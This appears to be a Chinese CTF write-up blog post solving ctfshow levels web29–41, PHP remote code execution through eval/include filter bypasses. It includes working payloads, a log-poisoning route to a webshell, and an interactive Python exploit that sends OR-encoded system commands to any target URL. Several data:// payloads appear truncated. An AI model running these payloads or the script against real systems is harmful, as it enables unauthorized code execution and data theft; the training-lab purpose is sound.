ctfshow web29-41

慢慢打基础

Published
Reading
3 min
Category
CTF
Tags
rcectfshowphp
On this page
  1. web29
  2. web30
  3. web31
  4. web32
  5. web33
  6. web34
  7. web35
  8. web36
  9. web37
  10. web38
  11. web39
  12. web40
  13. 1. 利用POST参数中转
  14. 2. 直接扫描目录并读取
  15. web41

web29

<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

?c=system(ls);

得知flag.php

题目过滤了flag,所以用通配符*来读取

?c=system(‘tac f*’);

这道题解法也是五花八门,还可以:

  1. ?c=echo`tac f*`; (两个反引号的作用是执行命令并返回字符串,但要用echo才能看到回显)
  2. ?c=eval($_GET[1]);&1=system(‘tac f*’);
  3. ?c=system(“cp fl*g.php a.txt”); (用cp将flag拷贝成a.txt,然后再访问a.txt即可)

web30

<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这道题再在上一题基础上,多禁用了system,php

?c=echo`tac%20f*`;

web31

<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

%09是制表符

?c=echo`tac%09f*`;

web32

<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}
  1. 这题把常见的指令都禁用掉了,但是可以用include。

利用参数中转绕过过滤,再用伪协议读一下目录

?c=include$_GET[1]?>&1=data://text/plain,

?>:PHP 的结束标签。因为分号被过滤了,所以使用这个来替代

得知flag.php

?c=include$_GET[1]?>&1=data://text/plain,

或者

?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

以base64输出,解码一下就得到了flag

image-20260120022358796

  1. 还可以利用日志注入方法

通过插件知道使用的是Nginx服务,所以日志文件在var/log/nginx/access.log

image-20260120022507624

?c=include%22$_GET[a]%22?%3E&a=/var/log/nginx/access.log

访问的时候将ua改成

image-20260120023526907

打开蚁剑就能连上了

image-20260120023643993

web33

<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

依然没过滤include,同上题。

?c=include$_GET[1]?>&1=data://text/plain,

web34

<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

依旧同上

?c=include$_GET[1]?>&1=data://text/plain,

web35

<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

?c=include$_GET[1]?>&1=data://text/plain,

web36

<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

?c=include$_GET[a]?>&a=data://text/plain,

web37

<?php

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

?c=data://text/plain,

web38

<?php

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

?c=data://text/plain,

<?= ?> :是 PHP短 echo 标签

或者

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

要按Ctrl + U看源码

web39

<?php

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

?c=data://text/plain,

因为前面的php语句已经闭合了,所以include里的不用管

web40

<?php

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

把数字和大部分符号都禁掉了,但是要看清楚,禁用的是全角括号,半角括号没禁用。

仍然有好几种方法:

// --- 方案 1: POST 参数中转执行 (最推荐,灵活) ---
// URL: ?c=eval(pos(next(get_defined_vars())));
// POST: 1=system('tac flag.php');

// --- 方案 2: 直接扫描目录并读取 flag ---
// URL: ?c=show_source(next(array_reverse(scandir(getcwd()))));

// --- 方案 3: 替代点号的目录读取 (针对 getcwd 被过滤) ---
// URL: ?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

具体看下前两种方法,第三种与第二种类似:

1. 利用POST参数中转

image-20260120152313595

  • 先用 get_defined_vars() 拿到变量池
  • next 定位到第二个数组(即_POST)
  • pos 取出代码字符串

2. 直接扫描目录并读取

?c=show_source(next(array_reverse(scandir(getcwd()))));

  1. getcwd() → 当前目录(如 /var/www/html
  2. scandir(getcwd()) → 列举目录文件,如:[".", "..", "flag.php", "index.php"]
  3. array_reverse(...)["index.php", "flag.php", "..", "."]
  4. next(...)"flag.php"
  5. show_source(...) → 输出 flag 内容

web41

<?php

if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

这道题难度上来了,这里贴上官方WP

这道题过滤了大部分绕过方式,如$、+、-、^、~,使得异或自增和取反构造字符都无法使用,但是还剩下”|“没有过滤。所以这道题的目的就是要我们使用ascii码为0-255中没有被过滤的字符进行或运算,从而得到被绕过的字符。

下面是脚本

<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)|urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);

大体意思就是从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符 传递参数getflag 用法 python exp.py <url>

# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php")  #没有将php写入环境变量需手动运行
if(len(argv)!=2):
   print("="*50)
   print('USER:python exp.py <url>')
   print("eg:  python exp.py http://ctf.show/")
   print("="*50)
   exit(0)
url=argv[1]
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("rce_or.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
   data={
       'c':urllib.parse.unquote(param)
       }
   r=requests.post(url,data=data)
   print("\n[*] result:\n"+r.text)

下面是整合的版本

import re
import urllib.parse
import requests
import sys

def generate_dict():
    """
    生成可用字符字典
    优化点:使用字典(dict)存储,字符作为键,提高查询速度
    """
    valid_map = {}
    # 预编译正则,避免在循环中重复编译
    preg = re.compile(r'[0-9]|[a-z]|\^|\+|~|\$|\[|\]|\{|\}|&|-', re.I)
    
    # 提前筛选出所有不匹配正则的合法字节
    available_bytes = []
    for i in range(256):
        if not preg.search(chr(i)):
            available_bytes.append(i)
    
    # 双重循环寻找组合
    for i in available_bytes:
        for j in available_bytes:
            res_char = chr(i | j)
            # 只要可见字符且尚未在字典中(或为了效率只取第一组)
            if 32 <= ord(res_char) <= 126:
                if res_char not in valid_map:
                    valid_map[res_char] = (f'%{i:02x}', f'%{j:02x}')
    
    return valid_map

def make_payload(cmd, valid_map):
    """根据命令生成 payload"""
    p1 = ''
    p2 = ''
    for char in cmd:
        if char in valid_map:
            p1 += valid_map[char][0]
            p2 += valid_map[char][1]
        else:
            print(f"[!] 错误:字符 '{char}' 无法通过当前规则构造")
            return None
    return f'("{p1}"|"{p2}")'

def exploit(url, function, command, valid_map):
    """执行 RCE 攻击"""
    p_func = make_payload(function, valid_map)
    p_cmd = make_payload(command, valid_map)
    
    if not p_func or not p_cmd:
        return

    # 构造 PHP 格式: (system)(ls)
    final_payload = f"{p_func}{p_cmd}"
    
    print(f"[*] 构造 Payload: {final_payload}")
    
    try:
        # 核心:使用 unquote 将字符串形式的 %ff 转为字节
        # requests.post 会处理字典数据的编码
        payload_raw = urllib.parse.unquote(final_payload)
        response = requests.post(url, data={'c': payload_raw}, timeout=5)
        
        print("-" * 40)
        print("[*] 服务器响应:")
        print(response.text.strip())
        print("-" * 40)
    except Exception as e:
        print(f"[!] 请求出错: {e}")

def main():
    print("="*50)
    print("   PHP Non-Alphanumeric RCE Exploit (Optimized)")
    print("="*50)
    
    valid_map = generate_dict()
    print(f"[*] 字典初始化完成,支持 {len(valid_map)} 个可用字符。\n")
    
    url = input("[+] 目标 URL (例如 [http://target.com/index.php](http://target.com/index.php)): ").strip()
    if not url.startswith("http"):
        print("[!] 请输入完整的 URL")
        return

    while True:
        try:
            func = input("\n[+] PHP 函数 (如 system, 退出请按 Ctrl+C): ").strip()
            if not func: continue
            
            cmd = input("[+] 命令参数 (如 cat /etc/passwd): ").strip()
            exploit(url, func, cmd, valid_map)
        except KeyboardInterrupt:
            print("\n\n[*] 用户退出")
            break

if __name__ == "__main__":
    main()

image-20260121003218829

Author
YU030X
Published

Images are sourced from the internet. Please contact me for removal if necessary.

Comments

Type to search posts and pages.

K to open · esc to closeSearch by Pagefind